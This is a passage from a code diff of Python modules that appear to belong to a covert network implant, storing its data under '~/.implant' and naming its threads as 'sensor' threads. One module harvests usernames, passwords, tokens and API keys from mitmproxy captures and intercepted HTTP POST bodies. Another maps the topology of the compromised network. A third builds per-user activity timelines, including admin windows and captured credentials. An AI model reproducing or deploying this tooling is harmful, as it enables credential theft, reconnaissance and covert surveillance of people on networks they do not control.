continue
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
username = entry.get("username", "")
|
||||
password = entry.get("password", "")
|
||||
host = entry.get("host", "")
|
||||
|
||||
if username and password:
|
||||
hash_key = f"mitmproxy:{host}:{username}:{password[:16]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"https://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_form",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "Form credentials captured by mitmproxy",
|
||||
})
|
||||
|
||||
def _parse_post_body(self, content: str, host: str) -> None:
|
||||
"""Look for credentials in HTTP POST bodies."""
|
||||
# URL-encoded form data
|
||||
cred_fields = {
|
||||
"password", "passwd", "pass", "pwd", "secret",
|
||||
"token", "api_key", "apikey",
|
||||
}
|
||||
user_fields = {
|
||||
"username", "user", "login", "email", "account",
|
||||
}
|
||||
|
||||
# Try URL-encoded
|
||||
try:
|
||||
from urllib.parse import parse_qs
|
||||
params = parse_qs(content, keep_blank_values=True)
|
||||
|
||||
username = ""
|
||||
password = ""
|
||||
for field in user_fields:
|
||||
if field in params:
|
||||
username = params[field][0]
|
||||
break
|
||||
for field in cred_fields:
|
||||
if field in params:
|
||||
password = params[field][0]
|
||||
break
|
||||
|
||||
if username and password:
|
||||
hash_key = f"post:{host}:{username}:{password[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_form",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "Form POST credentials from HTTP traffic",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Try JSON body
|
||||
try:
|
||||
data = json.loads(content)
|
||||
if isinstance(data, dict):
|
||||
username = ""
|
||||
password = ""
|
||||
for field in user_fields:
|
||||
if field in data:
|
||||
username = str(data[field])
|
||||
break
|
||||
for field in cred_fields:
|
||||
if field in data:
|
||||
password = str(data[field])
|
||||
break
|
||||
|
||||
if username and password:
|
||||
hash_key = f"json_post:{host}:{username}:{password[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_json",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "JSON POST credentials from HTTP traffic",
|
||||
})
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# File reading utilities
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_new_data(self, path: str) -> str:
|
||||
"""Read only new data from a file since the last read.
|
||||
|
||||
Returns the new data, or empty string if nothing new.
|
||||
"""
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
except OSError:
|
||||
return ""
|
||||
|
||||
last_pos = self._file_positions.get(path, 0)
|
||||
if size <= last_pos:
|
||||
return ""
|
||||
|
||||
try:
|
||||
with open(path, "r", errors="replace") as f:
|
||||
f.seek(last_pos)
|
||||
data = f.read()
|
||||
self._file_positions[path] = size
|
||||
return data
|
||||
except (IOError, PermissionError):
|
||||
return ""
|
||||
@@ -0,0 +1,528 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network topology mapper — aggregates host and VLAN data into graph output.
|
||||
|
||||
Subscribes to HOST_DISCOVERED and VLAN_DETECTED events. Queries the state
|
||||
database for host_discovery, network_mapper, and vlan_discovery data.
|
||||
Generates Graphviz DOT output with nodes color-coded by OS family and
|
||||
shaped by role (workstation, server, printer, router, switch, AP).
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# OS family -> Graphviz fill color
|
||||
_OS_COLORS = {
|
||||
"windows": "#4488cc",
|
||||
"linux": "#44aa44",
|
||||
"macos": "#888888",
|
||||
"ios": "#aaaaaa",
|
||||
"android": "#88bb44",
|
||||
"freebsd": "#cc4444",
|
||||
"printer": "#ddaa44",
|
||||
"network": "#cc8844",
|
||||
"iot": "#aa66cc",
|
||||
"unknown": "#cccccc",
|
||||
}
|
||||
|
||||
# Device role -> Graphviz node shape
|
||||
_ROLE_SHAPES = {
|
||||
"workstation": "box",
|
||||
"server": "box3d",
|
||||
"printer": "tab",
|
||||
"router": "diamond",
|
||||
"switch": "hexagon",
|
||||
"ap": "trapezium",
|
||||
"phone": "ellipse",
|
||||
"iot": "component",
|
||||
"unknown": "ellipse",
|
||||
}
|
||||
|
||||
# Protocol -> edge color
|
||||
_PROTO_COLORS = {
|
||||
"tcp": "#333333",
|
||||
"udp": "#666666",
|
||||
"smb": "#4488cc",
|
||||
"http": "#44aa44",
|
||||
"https": "#228822",
|
||||
"dns": "#cc8844",
|
||||
"ssh": "#cc4444",
|
||||
"rdp": "#4444cc",
|
||||
"ldap": "#aa66cc",
|
||||
"kerberos": "#ddaa44",
|
||||
}
|
||||
|
||||
|
||||
class TopologyMapper(BaseModule):
|
||||
"""Build and export a network topology graph from discovered hosts and links."""
|
||||
|
||||
name = "topology_mapper"
|
||||
module_type = "intel"
|
||||
priority = 150
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
# In-memory graph: nodes keyed by IP, edges as (src, dst) -> {protocols, bytes}
|
||||
self._nodes: dict[str, dict] = {}
|
||||
self._edges: dict[tuple, dict] = defaultdict(lambda: {
|
||||
"protocols": set(), "bytes_total": 0, "conn_count": 0,
|
||||
})
|
||||
self._vlans: dict[int, dict] = {}
|
||||
self._update_thread: Optional[threading.Thread] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_vlan_detected, "VLAN_DETECTED")
|
||||
|
||||
# Load any existing topology data from state
|
||||
self._load_from_state()
|
||||
|
||||
# Periodic refresh from state database
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._update_thread = threading.Thread(
|
||||
target=self._periodic_update, daemon=True,
|
||||
name="sensor-topology-update",
|
||||
)
|
||||
self._update_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info(
|
||||
"TopologyMapper started — %d nodes, %d edges loaded from state",
|
||||
len(self._nodes), len(self._edges),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_vlan_detected, "VLAN_DETECTED")
|
||||
|
||||
# Persist current topology
|
||||
self._save_to_state()
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"TopologyMapper stopped — %d nodes, %d edges",
|
||||
len(self._nodes), len(self._edges),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"nodes": len(self._nodes),
|
||||
"edges": len(self._edges),
|
||||
"vlans": len(self._vlans),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Ingest a newly discovered host."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if not ip:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
if ip in self._nodes:
|
||||
# Merge new data into existing node
|
||||
node = self._nodes[ip]
|
||||
node["last_seen"] = time.time()
|
||||
if p.get("hostname"):
|
||||
node["hostname"] = p["hostname"]
|
||||
if p.get("os_family"):
|
||||
node["os_family"] = p["os_family"].lower()
|
||||
if p.get("role"):
|
||||
node["role"] = p["role"].lower()
|
||||
if p.get("mac"):
|
||||
node["mac"] = p["mac"]
|
||||
if p.get("open_ports"):
|
||||
node.setdefault("open_ports", set()).update(p["open_ports"])
|
||||
if p.get("services"):
|
||||
node.setdefault("services", []).extend(p["services"])
|
||||
else:
|
||||
open_ports = p.get("open_ports", [])
|
||||
self._nodes[ip] = {
|
||||
"ip": ip,
|
||||
"hostname": p.get("hostname", ""),
|
||||
"mac": p.get("mac", ""),
|
||||
"os_family": p.get("os_family", "unknown").lower(),
|
||||
"role": p.get("role", "unknown").lower(),
|
||||
"vlan": p.get("vlan"),
|
||||
"open_ports": set(open_ports) if isinstance(open_ports, list) else open_ports,
|
||||
"services": p.get("services", []),
|
||||
"first_seen": time.time(),
|
||||
"last_seen": time.time(),
|
||||
}
|
||||
|
||||
def _on_vlan_detected(self, event) -> None:
|
||||
"""Record a detected VLAN."""
|
||||
p = event.payload
|
||||
vlan_id = p.get("vlan_id")
|
||||
if vlan_id is None:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
self._vlans[vlan_id] = {
|
||||
"vlan_id": vlan_id,
|
||||
"name": p.get("name", ""),
|
||||
"subnet": p.get("subnet", ""),
|
||||
"gateway": p.get("gateway", ""),
|
||||
"first_seen": time.time(),
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Graph data aggregation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def add_edge(self, src_ip: str, dst_ip: str, protocol: str = "tcp",
|
||||
bytes_transferred: int = 0) -> None:
|
||||
"""Add or update an edge in the topology graph."""
|
||||
key = (src_ip, dst_ip) if src_ip < dst_ip else (dst_ip, src_ip)
|
||||
with self._lock:
|
||||
edge = self._edges[key]
|
||||
edge["protocols"].add(protocol.lower())
|
||||
edge["bytes_total"] += bytes_transferred
|
||||
edge["conn_count"] += 1
|
||||
|
||||
def _periodic_update(self) -> None:
|
||||
"""Periodically refresh topology from state database."""
|
||||
interval = self.config.get("topology_refresh_interval", 300)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._refresh_from_state()
|
||||
self._save_to_state()
|
||||
except Exception:
|
||||
logger.exception("Periodic topology update failed")
|
||||
|
||||
def _refresh_from_state(self) -> None:
|
||||
"""Pull host and network data from state key-value store."""
|
||||
# Pull host list from host_discovery module state
|
||||
hosts_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if hosts_json:
|
||||
try:
|
||||
hosts = json.loads(hosts_json)
|
||||
for host in hosts:
|
||||
ip = host.get("ip", "")
|
||||
if ip and ip not in self._nodes:
|
||||
with self._lock:
|
||||
self._nodes[ip] = {
|
||||
"ip": ip,
|
||||
"hostname": host.get("hostname", ""),
|
||||
"mac": host.get("mac", ""),
|
||||
"os_family": host.get("os_family", "unknown").lower(),
|
||||
"role": self._infer_role(host),
|
||||
"vlan": host.get("vlan"),
|
||||
"open_ports": set(host.get("open_ports", [])),
|
||||
"services": host.get("services", []),
|
||||
"first_seen": host.get("first_seen", time.time()),
|
||||
"last_seen": host.get("last_seen", time.time()),
|
||||
}
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# Pull VLAN data from vlan_discovery module state
|
||||
vlans_json = self.state.get("vlan_discovery", "vlans")
|
||||
if vlans_json:
|
||||
try:
|
||||
vlans = json.loads(vlans_json)
|
||||
for vlan in vlans:
|
||||
vid = vlan.get("vlan_id")
|
||||
if vid is not None:
|
||||
with self._lock:
|
||||
self._vlans[vid] = vlan
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _infer_role(self, host: dict) -> str:
|
||||
"""Infer device role from open ports and services."""
|
||||
ports = set(host.get("open_ports", []))
|
||||
hostname = host.get("hostname", "").lower()
|
||||
|
||||
# Router/gateway indicators
|
||||
if ports & {179, 520, 521}: # BGP, RIP
|
||||
return "router"
|
||||
if any(kw in hostname for kw in ("gw", "gateway", "router", "rtr")):
|
||||
return "router"
|
||||
|
||||
# Switch indicators
|
||||
if any(kw in hostname for kw in ("switch", "sw-", "sw0")):
|
||||
return "switch"
|
||||
|
||||
# AP indicators
|
||||
if any(kw in hostname for kw in ("ap-", "wap", "access-point")):
|
||||
return "ap"
|
||||
|
||||
# Printer indicators
|
||||
if ports & {515, 631, 9100}: # LPD, IPP, RAW
|
||||
return "printer"
|
||||
if any(kw in hostname for kw in ("print", "prn", "hp", "canon", "brother")):
|
||||
return "printer"
|
||||
|
||||
# Server indicators (multiple service ports)
|
||||
server_ports = {22, 25, 53, 80, 443, 389, 636, 88, 445, 3389, 5432, 3306, 1433, 8080, 8443}
|
||||
if len(ports & server_ports) >= 3:
|
||||
return "server"
|
||||
if any(kw in hostname for kw in ("srv", "server", "dc", "dns", "mail", "web", "db")):
|
||||
return "server"
|
||||
|
||||
return "workstation"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# State persistence
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_from_state(self) -> None:
|
||||
"""Load saved topology from state on startup."""
|
||||
nodes_json = self.state.get(self.name, "nodes")
|
||||
if nodes_json:
|
||||
try:
|
||||
nodes = json.loads(nodes_json)
|
||||
for ip, node in nodes.items():
|
||||
node["open_ports"] = set(node.get("open_ports", []))
|
||||
self._nodes[ip] = node
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
edges_json = self.state.get(self.name, "edges")
|
||||
if edges_json:
|
||||
try:
|
||||
edges = json.loads(edges_json)
|
||||
for key_str, edge_data in edges.items():
|
||||
parts = key_str.split("|")
|
||||
if len(parts) == 2:
|
||||
key = (parts[0], parts[1])
|
||||
edge_data["protocols"] = set(edge_data.get("protocols", []))
|
||||
self._edges[key] = edge_data
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
vlans_json = self.state.get(self.name, "vlans")
|
||||
if vlans_json:
|
||||
try:
|
||||
self._vlans = json.loads(vlans_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _save_to_state(self) -> None:
|
||||
"""Persist topology to state database."""
|
||||
with self._lock:
|
||||
# Serialize nodes (convert sets to lists)
|
||||
nodes_ser = {}
|
||||
for ip, node in self._nodes.items():
|
||||
n = dict(node)
|
||||
n["open_ports"] = list(n.get("open_ports", set()))
|
||||
nodes_ser[ip] = n
|
||||
|
||||
# Serialize edges (convert tuple keys and sets)
|
||||
edges_ser = {}
|
||||
for (src, dst), edge in self._edges.items():
|
||||
key = f"{src}|{dst}"
|
||||
edges_ser[key] = {
|
||||
"protocols": list(edge.get("protocols", set())),
|
||||
"bytes_total": edge.get("bytes_total", 0),
|
||||
"conn_count": edge.get("conn_count", 0),
|
||||
}
|
||||
|
||||
self.state.set(self.name, "nodes", json.dumps(nodes_ser))
|
||||
self.state.set(self.name, "edges", json.dumps(edges_ser))
|
||||
self.state.set(self.name, "vlans", json.dumps(self._vlans))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# DOT / SVG generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def generate_dot(self) -> str:
|
||||
"""Generate Graphviz DOT representation of the network topology."""
|
||||
lines = [
|
||||
"digraph SystemMonitorTopology {",
|
||||
' rankdir=LR;',
|
||||
' bgcolor="#1a1a2e";',
|
||||
' node [style=filled, fontcolor=white, fontname="Courier"];',
|
||||
' edge [fontname="Courier", fontsize=9];',
|
||||
"",
|
||||
]
|
||||
|
||||
# Group nodes by VLAN
|
||||
vlan_groups = defaultdict(list)
|
||||
no_vlan = []
|
||||
|
||||
with self._lock:
|
||||
for ip, node in self._nodes.items():
|
||||
vlan = node.get("vlan")
|
||||
if vlan is not None:
|
||||
vlan_groups[vlan].append((ip, node))
|
||||
else:
|
||||
no_vlan.append((ip, node))
|
||||
|
||||
# VLAN subgraphs
|
||||
for vlan_id, members in sorted(vlan_groups.items()):
|
||||
vlan_info = self._vlans.get(vlan_id, {})
|
||||
vlan_label = vlan_info.get("name", f"VLAN {vlan_id}")
|
||||
subnet = vlan_info.get("subnet", "")
|
||||
label = f"{vlan_label}"
|
||||
if subnet:
|
||||
label += f"\\n{subnet}"
|
||||
|
||||
lines.append(f" subgraph cluster_vlan{vlan_id} {{")
|
||||
lines.append(f' label="{label}";')
|
||||
lines.append(' style=dashed;')
|
||||
lines.append(' color="#666666";')
|
||||
lines.append(' fontcolor="#aaaaaa";')
|
||||
|
||||
for ip, node in members:
|
||||
lines.append(f" {self._node_dot(ip, node)}")
|
||||
lines.append(" }")
|
||||
lines.append("")
|
||||
|
||||
# Ungrouped nodes
|
||||
for ip, node in no_vlan:
|
||||
lines.append(f" {self._node_dot(ip, node)}")
|
||||
|
||||
lines.append("")
|
||||
|
||||
# Edges
|
||||
for (src, dst), edge in self._edges.items():
|
||||
protos = ", ".join(sorted(edge.get("protocols", set())))
|
||||
count = edge.get("conn_count", 0)
|
||||
# Thicker line for higher traffic
|
||||
penwidth = min(1.0 + (count / 100.0), 5.0)
|
||||
# Color by primary protocol
|
||||
primary_proto = next(iter(edge.get("protocols", {"tcp"})), "tcp")
|
||||
color = _PROTO_COLORS.get(primary_proto, "#666666")
|
||||
|
||||
label = protos
|
||||
if count > 10:
|
||||
label += f"\\n({count})"
|
||||
|
||||
src_id = self._sanitize_id(src)
|
||||
dst_id = self._sanitize_id(dst)
|
||||
lines.append(
|
||||
f' {src_id} -> {dst_id} '
|
||||
f'[label="{label}", color="{color}", '
|
||||
f'penwidth={penwidth:.1f}];'
|
||||
)
|
||||
|
||||
lines.append("}")
|
||||
return "\n".join(lines)
|
||||
|
||||
def _node_dot(self, ip: str, node: dict) -> str:
|
||||
"""Generate DOT for a single node."""
|
||||
os_family = node.get("os_family", "unknown")
|
||||
role = node.get("role", "unknown")
|
||||
hostname = node.get("hostname", "")
|
||||
color = _OS_COLORS.get(os_family, _OS_COLORS["unknown"])
|
||||
shape = _ROLE_SHAPES.get(role, _ROLE_SHAPES["unknown"])
|
||||
|
||||
label = ip
|
||||
if hostname:
|
||||
label = f"{hostname}\\n{ip}"
|
||||
|
||||
ports = node.get("open_ports", set())
|
||||
if ports:
|
||||
port_str = ", ".join(str(p) for p in sorted(ports)[:8])
|
||||
if len(ports) > 8:
|
||||
port_str += f" (+{len(ports) - 8})"
|
||||
label += f"\\n[{port_str}]"
|
||||
|
||||
node_id = self._sanitize_id(ip)
|
||||
return (
|
||||
f'{node_id} [label="{label}", shape={shape}, '
|
||||
f'fillcolor="{color}", tooltip="{os_family}/{role}"];'
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _sanitize_id(ip: str) -> str:
|
||||
"""Convert IP to valid DOT node ID."""
|
||||
return "n_" + ip.replace(".", "_").replace(":", "_")
|
||||
|
||||
def generate_svg(self, output_path: str = None) -> Optional[str]:
|
||||
"""Generate SVG from the DOT graph (requires graphviz installed).
|
||||
|
||||
Args:
|
||||
output_path: Path to write SVG file. If None, returns SVG as string.
|
||||
|
||||
Returns:
|
||||
SVG string if output_path is None, else the output path.
|
||||
"""
|
||||
dot = self.generate_dot()
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["dot", "-Tsvg"],
|
||||
input=dot.encode(),
|
||||
capture_output=True,
|
||||
timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.error("Graphviz dot failed: %s", result.stderr.decode())
|
||||
return None
|
||||
|
||||
svg = result.stdout.decode()
|
||||
|
||||
if output_path:
|
||||
with open(output_path, "w") as f:
|
||||
f.write(svg)
|
||||
return output_path
|
||||
return svg
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.warning("Graphviz not installed — SVG generation unavailable")
|
||||
return None
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("Graphviz timed out generating SVG")
|
||||
return None
|
||||
|
||||
def get_topology_summary(self) -> dict:
|
||||
"""Return a summary of the current network topology."""
|
||||
with self._lock:
|
||||
roles = defaultdict(int)
|
||||
os_families = defaultdict(int)
|
||||
for node in self._nodes.values():
|
||||
roles[node.get("role", "unknown")] += 1
|
||||
os_families[node.get("os_family", "unknown")] += 1
|
||||
|
||||
protocols_seen = set()
|
||||
for edge in self._edges.values():
|
||||
protocols_seen.update(edge.get("protocols", set()))
|
||||
|
||||
return {
|
||||
"total_nodes": len(self._nodes),
|
||||
"total_edges": len(self._edges),
|
||||
"total_vlans": len(self._vlans),
|
||||
"by_role": dict(roles),
|
||||
"by_os": dict(os_families),
|
||||
"protocols": sorted(protocols_seen),
|
||||
"vlan_ids": sorted(self._vlans.keys()),
|
||||
}
|
||||
@@ -0,0 +1,587 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Per-user activity timeline — aggregates login events, service access,
|
||||
file operations, and web activity into chronological user profiles.
|
||||
|
||||
Ingests data from dns_logger, auth_flow_tracker, smb_monitor, and
|
||||
credential_sniffer via the event bus and periodic state queries.
|
||||
Identifies work hours, admin activity windows, and service account behavior.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS user_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
domain TEXT DEFAULT '',
|
||||
event_type TEXT NOT NULL,
|
||||
source_ip TEXT,
|
||||
target_ip TEXT,
|
||||
service TEXT,
|
||||
detail TEXT DEFAULT '',
|
||||
source_module TEXT DEFAULT ''
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_user ON user_events(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_ts ON user_events(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_type ON user_events(event_type);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS user_profiles (
|
||||
username TEXT PRIMARY KEY,
|
||||
domain TEXT DEFAULT '',
|
||||
first_seen REAL,
|
||||
last_seen REAL,
|
||||
event_count INTEGER DEFAULT 0,
|
||||
is_admin INTEGER DEFAULT 0,
|
||||
is_service_acct INTEGER DEFAULT 0,
|
||||
typical_hours TEXT DEFAULT '',
|
||||
workstations TEXT DEFAULT '',
|
||||
services_used TEXT DEFAULT '',
|
||||
notes TEXT DEFAULT ''
|
||||
);
|
||||
"""
|
||||
|
||||
# Event types
|
||||
EVENT_LOGIN = "login"
|
||||
EVENT_LOGOUT = "logout"
|
||||
EVENT_AUTH_FAIL = "auth_fail"
|
||||
EVENT_SERVICE_ACCESS = "service_access"
|
||||
EVENT_FILE_ACCESS = "file_access"
|
||||
EVENT_WEB_BROWSE = "web_browse"
|
||||
EVENT_ADMIN_ACTION = "admin_action"
|
||||
EVENT_CRED_CAPTURED = "cred_captured"
|
||||
|
||||
# Admin indicators: services or patterns that suggest admin activity
|
||||
_ADMIN_SERVICES = {
|
||||
"rdp", "ssh", "winrm", "wmi", "psremoting", "dcom",
|
||||
"ldap", "kerberos", "smb_admin", "rpc",
|
||||
}
|
||||
|
||||
_ADMIN_USERNAMES = {
|
||||
"administrator", "admin", "root", "domain admin",
|
||||
}
|
||||
|
||||
# Service account patterns
|
||||
_SVC_PATTERNS = (
|
||||
"svc_", "svc-", "service_", "sa_", "task_", "app_",
|
||||
"sql_", "iis_", "backup_", "scan_", "nessus", "splunk",
|
||||
"crowdstrike", "sccm", "wsus",
|
||||
)
|
||||
|
||||
|
||||
class UserTimeline(BaseModule):
|
||||
"""Build per-user activity timelines from network observation data."""
|
||||
|
||||
name = "user_timeline"
|
||||
module_type = "intel"
|
||||
priority = 200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._ingest_thread: Optional[threading.Thread] = None
|
||||
self._event_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "user_timeline.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to credential and host events for user correlation
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic ingestion from other module state
|
||||
self._ingest_thread = threading.Thread(
|
||||
target=self._periodic_ingest, daemon=True,
|
||||
name="sensor-user-timeline-ingest",
|
||||
)
|
||||
self._ingest_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("UserTimeline started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("UserTimeline stopped — %d events recorded", self._event_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
user_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT username) FROM user_events"
|
||||
).fetchone()
|
||||
user_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_events": self._event_count,
|
||||
"tracked_users": user_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Record credential capture as a user event."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
username = p.get("username", "")
|
||||
if not username:
|
||||
return
|
||||
|
||||
self._record_event(
|
||||
username=username,
|
||||
domain=p.get("domain", ""),
|
||||
event_type=EVENT_CRED_CAPTURED,
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
service=p.get("service", ""),
|
||||
detail=f"Type: {p.get('cred_type', 'unknown')}",
|
||||
source_module=event.source_module,
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check for user information in host discovery data."""
|
||||
p = event.payload
|
||||
# Some host discovery may include logged-in user information
|
||||
username = p.get("logged_in_user", "")
|
||||
if username:
|
||||
self._record_event(
|
||||
username=username,
|
||||
domain=p.get("domain", ""),
|
||||
event_type=EVENT_LOGIN,
|
||||
source_ip=p.get("ip", ""),
|
||||
target_ip="",
|
||||
service="workstation",
|
||||
detail=f"Active on {p.get('hostname', p.get('ip', ''))}",
|
||||
source_module=event.source_module,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event recording
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_event(self, username: str, domain: str, event_type: str,
|
||||
source_ip: str = "", target_ip: str = "",
|
||||
service: str = "", detail: str = "",
|
||||
source_module: str = "",
|
||||
timestamp: float = None) -> None:
|
||||
"""Record a user activity event."""
|
||||
if not username:
|
||||
return
|
||||
|
||||
ts = timestamp or time.time()
|
||||
self._event_count += 1
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO user_events
|
||||
(timestamp, username, domain, event_type, source_ip,
|
||||
target_ip, service, detail, source_module)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
